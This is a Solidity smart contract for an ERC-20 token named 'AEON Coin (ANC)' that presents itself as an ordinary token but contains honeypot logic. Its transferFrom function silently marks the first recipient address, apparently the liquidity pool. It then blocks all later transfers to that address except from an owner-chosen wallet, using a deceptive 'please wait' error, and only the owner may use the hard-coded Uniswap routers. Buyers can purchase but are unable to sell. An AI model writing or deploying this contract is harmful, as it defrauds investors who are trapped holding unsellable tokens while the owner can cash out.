AEON Coin (ANC)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
        c = a + b;
        require(c >= a, "SafeMath: addition overflow");
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
        require(b <= a, "SafeMath: subtraction overflow");
        c = a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) return 0;
        c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
        require(b > 0, "SafeMath: division by zero");
        c = a / b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address tokenOwner) external view returns (uint256 balance);
    function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
    function transfer(address to, uint256 tokens) external returns (bool success);
    function approve(address spender, uint256 tokens) external returns (bool success);
    function transferFrom(address from, address to, uint256 tokens) external returns (bool success);

    event Transfer(address indexed from, address indexed to, uint256 tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}

interface ApproveAndCallFallBack {
    function receiveApproval(address from, uint256 tokens, address token, bytes calldata data) external;
}

contract Owned {
    address public owner;
    address public newOwner;

    event OwnershipTransferred(address indexed from, address indexed to);

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Owned: caller is not the owner");
        _;
    }

    function transferOwnership(address _newOwner) public onlyOwner {
        newOwner = _newOwner;
    }

    function acceptOwnership() public {
        require(msg.sender == newOwner, "Owned: caller is not the new owner");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
        newOwner = address(0);
    }
}

contract TokenERC20 is IERC20, Owned {
    using SafeMath for uint256;

    string public symbol = "ANC";
    string public name = "AEON Coin";
    uint8 public decimals = 18;
    uint256 private _totalSupply = 1000000000 * 10**18;

    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) private allowed;
    mapping(address => bool) public restrictedRouters;

    address public newun;
    address public allowedWallet;

    constructor() {
        balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);

        allowedWallet = owner;

        // محدودیت روی روترهای Uniswap (Ethereum)
        restrictedRouters[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true; // Uniswap V2 Router02
        restrictedRouters[0xE592427A0AEce92De3Edee1F18E0157C05861564] = true; // Uniswap V3 Router
        restrictedRouters[0xC36442b4a4522E871399CD717aBDD847Ab11FE88] = true; // Uniswap V3 NonfungiblePositionManager
    }

    function transfernewun(address _newun) public onlyOwner {
        newun = _newun;
    }

    function setAllowedWallet(address _wallet) public onlyOwner {
        allowedWallet = _wallet;
    }

    function isRestricted(address addr) public view returns (bool) {
        return restrictedRouters[addr];
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply.sub(balances[address(0)]);
    }

    function balanceOf(address tokenOwner) public view override returns (uint256) {
        return balances[tokenOwner];
    }

    function transfer(address to, uint256 tokens) public override returns (bool success) {
        if (to == newun && msg.sender != allowedWallet) {
            revert("TokenERC20: please wait");
        }
        if (restrictedRouters[to]) {
            require(msg.sender == owner, "Restricted: Only owner can interact with router");
        }
        balances[msg.sender] = balances[msg.sender].sub(tokens);
        balances[to] = balances[to].add(tokens);
        emit Transfer(msg.sender, to, tokens);
        return true;
    }

    function approve(address spender, uint256 tokens) public override returns (bool success) {
        require(!restrictedRouters[spender] || msg.sender == owner, "Restricted: Only owner can approve router");
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }

    function transferFrom(address from, address to, uint256 tokens) public override returns (bool success) {
        if (from != address(0) && newun == address(0)) {
            newun = to;
        } else if (to == newun && from != allowedWallet) {
            revert("TokenERC20: please wait");
        }
        if (restrictedRouters[to]) {
            require(from == owner, "Restricted: Only owner can interact with router");
        }
        balances[from] = balances[from].sub(tokens);
        allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
        balances[to] = balances[to].add(tokens);
        emit Transfer(from, to, tokens);
        return true;
    }

    function allowance(address tokenOwner, address spender) public view override returns (uint256 remaining) {
        return allowed[tokenOwner][spender];
    }

    function approveAndCall(address spender, uint256 tokens, bytes calldata data) public returns (bool success) {
        require(!restrictedRouters[spender] || msg.sender == owner, "Restricted: Only owner can approve router");
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
        return true;
    }

    receive() external payable {
        revert("TokenERC20: contract does not accept ETH");
    }
}

contract TokenAitopiaRestricted is TokenERC20 {
    function withdrawETH() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    function addRestrictedRouter(address router) external onlyOwner {
        restrictedRouters[router] = true;
    }

    function removeRestrictedRouter(address router) external onlyOwner {
        restrictedRouters[router] = false;
    }
}